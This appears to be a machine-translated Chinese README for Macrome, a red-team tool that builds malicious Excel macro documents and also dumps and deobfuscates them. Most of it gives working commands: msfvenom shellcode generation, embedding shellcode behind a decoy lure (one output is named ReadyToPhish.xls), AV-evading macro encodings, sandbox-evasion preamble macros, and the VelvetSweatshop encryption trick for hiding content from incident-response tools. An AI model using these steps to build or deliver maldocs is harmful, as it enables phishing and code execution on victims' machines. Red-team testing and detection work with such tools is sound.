Macrome
适用于红队和分析师的 Excel 宏文档阅读器/编写器。可以在此处和此处找到描述此工具实际功能的博客文章。
致谢/参考
非常感谢为了写这篇文章,我能够站在所有的肩膀上。
- Outflank 团队创建了这个攻击,我只是自动化了一些乏味的部分。
- InQuest 的人们对恶意软件作者正在做什么以逃避检测的出色文章:
- @DissectMalware用于他们的杀手XLMMacroDeobfuscator工具,该工具非常适合进行测试,如果您处于防御/分析师方面,这将是一项非常棒的技术。
- @JoeLeonJr,感谢他们出色的EXCELntDonut工具,
我窃取了该工具的多架构Excel宏适应了Macrome对x64架构的支持。 - 该b2xtranslator库的原始作者以及 EvolutionJobs 的人员对其进行了更新并将其移植到 dotnet。这里使用的代码最初来自https://github.com/EvolutionJobs/b2xtranslator。
-
安装/建筑
克隆或下载此存储库,然后可以使用 dotnet 执行该工具 - 例如:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
要么
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
请注意,要按配置工作,需要5.0+ 的 dotnet 构建。
不需要 dotnet 并包含可执行二进制文件的工具的二进制版本可以在 Windows、OSX 和 Linux 的版本部分找到。用法
通过使用
dotnet run
解决方案目录或dotnet
针对已构建的 Macrome 二进制文件运行 Macrome。
Macrome 有三种操作模式 - 构建模式、转储模式和反混淆模式。构建模式
使用命令运行 Macrome 以
build
使用提供的诱饵文档和宏有效负载生成包含混淆宏表的 Excel 文档。dotnet Macrome.dll build -h
将显示完整的使用说明。
例如,要使用“path/to/decoy_document.xls”存储在 的诱饵文档和二进制 x86 shellcode构建文档“path/to/shellcode.bin”,请运行:dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin
这将生成一个 XLS 2003 文档,在打开并按下“
启用内容
”按钮后,将执行shellcode.bin.我应该如何运行它?
文档的其余部分将详细解释每个标志/功能,但现在可以通过运行获得 Macrome 必须提供的“最新和最棒的”:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
二进制有效负载使用
首先生成一个包含用户应该看到的内容的基本“诱饵”Excel 文档。这应该是某种诱使用户单击 Excel 中显示的“启用宏”按钮的诱饵。
在https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-上有一些“最新和最伟大”的诱饵创建示例。
创建此工作表后,将文档另存为类型Excel 97-2003 Workbook (.xls)而不是较新的Excel Workbook (.xlsx)格式。
一个示例诱饵文档包含在/Docs/decoy_document.xls. 请注意,如果您使用 XOR 混淆来保护您的文档,您目前无法将图像添加到您的诱饵中。
接下来,生成一个 shellcode 有效负载以提供给该工具。示例二进制有效负载(弹出 calc)是msfvenom使用以下参数生成的:msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
还支持 64 位有效负载。示例 64 位有效负载popcalc64.bin是使用以下命令生成的:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
然后可以通过执行以下命令嵌入此有效负载:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
当前 64 位有效负载将要求还提供 x86 有效负载。如果这不是问题,您可以为 x86 有效负载标志指定垃圾。
最终支持将 .NET 程序集直接嵌入到文档中,但如果您现在想这样做,我建议使用EXCELntDonut。
从 Macrome 0.5.0 及更高版本开始,所有有效负载都将使用 base64 编码,因此您的有效负载将能够包含任何字节序列(包括空字节)。嵌入可执行文件
如果你想使用 Macrome 嵌入一个 .NET 可执行文件,我建议使用带有命令的Donut
donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe
,然后将生成的有效负载作为 32 位和 64 位有效负载嵌入。
另一个可靠的替代方案是Amber,它非常适合嵌入一些相当大的 Go 二进制文件。传统有效载荷编码
如果出于某种原因您想使用 Macrome 0.5.0 之前的旧有效负载编码模式,请使用
--payload-method
带有SheetPackingMethod
。
请注意,在传统模式下,使用大多数字母数字有效负载将减少生成的宏文件的大小,因为以宏形式表示字母和数字更容易,而不是CHAR像等一样重复附加函数调用=CHAR(123)&CHAR(124)&CHAR(125)…。
但是该工具应该能够处理一个完全不可打印的二进制有效载荷。宏负载使用
与二进制有效负载的使用类似,必须首先生成诱饵文档。接下来,应该创建一个包含要运行的宏的文本文件。宏应该有由
;
字符分隔的列和由换行符分隔的行。
目前,指定的宏的内容将从 A1 开始写入和执行 - 尽管将来会添加支持以允许指定开始位置。示例宏可以在“/Docs/macro_example.txt”和中找到“/Docs/multi_column_macro_example.txt”。
最后运行命令:dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
请注意设置为
Macro
的payload-type
的用法。
您可以自己生成宏,也可以使用精彩的EXCELntDonut工具为您创建宏。编码方式选择
这些将在即将发布的博客文章中详细介绍,但 Macrome 现在可以以三种不同的方式对宏有效负载进行编码。其中大多数仍然未被任何 AV 检测到 - 但请尝试使用您的有效负载以查看最有效的方法。
CharSubroutine
通过在随机单元格处创建子例程,然后通过使用长链IF和SET.NAME函数来调用它来替换重复 CHAR() 函数的使用。这还没有被著名的maldoc作者滥用,所以现在不太可能在AV上ping通。
ObfuscatedCharFunc
原始的 Macrome 编码函数。调用 CHAR() 但将其附加到随机空单元格并将值包装在ROUND函数中。
ObfuscatedCharFuncAlt
原始编码的轻微变化,而不是使用 PtgFunc 来调用 CHAR,我们使用 PtgFuncVar - 这会破坏大多数尝试计算 CHAR 调用的签名。
AntiAnalysisCharSubroutine
与CharSubroutine相同,但传递给子例程的变量使用 Unicode 恶作剧进行模糊处理,如此处所述。请注意,由于添加了诱饵变量名称,这将生成比CharSubroutine模式更大的文档。
ArgumentSubroutines
为 CHAR() 和 FORMULA() 创建自定义子例程,将它们作为自定义函数调用,并使用模拟器较少支持的 ARGUMENT() 宏解析参数。
在构建时使用method
标志指定编码例如,使用CharSubroutine编码器:dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
序言宏
有时您可能希望某些宏在有效负载代码之前运行。当您添加用于逃避沙盒的宏和/或验证您的有效负载是否在正确的主机上运行时,这很有帮助。
前导文件的格式与使用时完全相同payload-type
Macro
,但仅支持单列。例如,您可以有一个序言:=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
这将检查屏幕分辨率值、鼠标的存在以及播放声音的能力。
如果其中任何一个失败,则应用程序将在运行主要有效负载内容之前关闭。
此外,如果您希望前导宏立即评估,而不是在解压缩其余宏之后,您可以在命令前加上%%%%%. 例如:%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
这有助于最大限度地减少在终止文档之前运行的 XLM 命令的数量,并且有助于对沙盒指示器的存在做出更直接的反应。
XOR 混淆密码保护
Macrome 0.3.0+ 支持使用 XOR 混淆对文档进行密码保护,这是一种旧版 Office 的传统加密模式。这种加密模式通常不受 IR 工具的支持,可以帮助保护文档内容不被检查。
Excel 有一个“默认”密码VelvetSweatshop
,它允许您加密文档内容,同时仍然使文档在打开时自动解密。这是在攻击性上下文中使用 XOR 混淆的“理想”方式。Macrome 将在反混淆或转储文档时自动尝试使用此密码。
要使用此功能,只需添加--password <passwordToEncrypt>
到您的构建命令。转储模式
使用
dump
命令运行Macrome,以打印任意文档的最相关 BIFF8 记录。
此功能类似于olevba的宏转储功能,但它对边缘情况 Ptg 条目进行了更完整的处理,以帮助确保格式尽可能接近 Excel 的实际 FORMULA 条目。这是我一直用来调试我在制作这个工具时生成的一些奇怪的边缘案例文档的东西,所以它比较健壮。我确信现在有大量的边缘案例不受支持,所以如果你发现一个文档没有正确转储其内容,请打开一个问题并将文档作为 zip 文件共享。
dump 命令只需要一个path指向目标文件的参数。一个示例调用是:dotnet Macrome.dll dump --path docToDump.xls
dump
命令的大多数标志用于调试,但dump-hex-bytes
对于希望查看相关记录的单个字节有效负载的用户可能很有用。
这与BiffView的功能相似,但默认情况下只会显示特定于恶意文档的条目。去混淆模式
使用命令运行 Macromedeobfuscate以获取经过混淆的 XLS 二进制文档并尝试反转几种反分析行为。dotnet Macrome.dll deobfuscate -h将显示完整的使用说明。目前,默认情况下,此模式将:
取消隐藏所有工作表,无论其隐藏状态如何
- Lbl规范化Excel 将解释为 Auto_Open 条目的所有条目的手动指定标签,尽管它们的名称与该字符串不匹配。
例如,要对位于 的恶意 XLS 2003 宏文件进行去混淆处理path/to/obfuscated_file.xls,请运行dotnet Macrome.dll deobfuscate —path path/to/obfuscated_file.xls. 这将生成一个混淆文件的副本,这将更容易手动或使用工具进行分析。
注意:这还没有做太多,主要是为了演示如何使用修改后的 b2xtranslator 库来帮助自动化反混淆。更多有用的功能即将推出。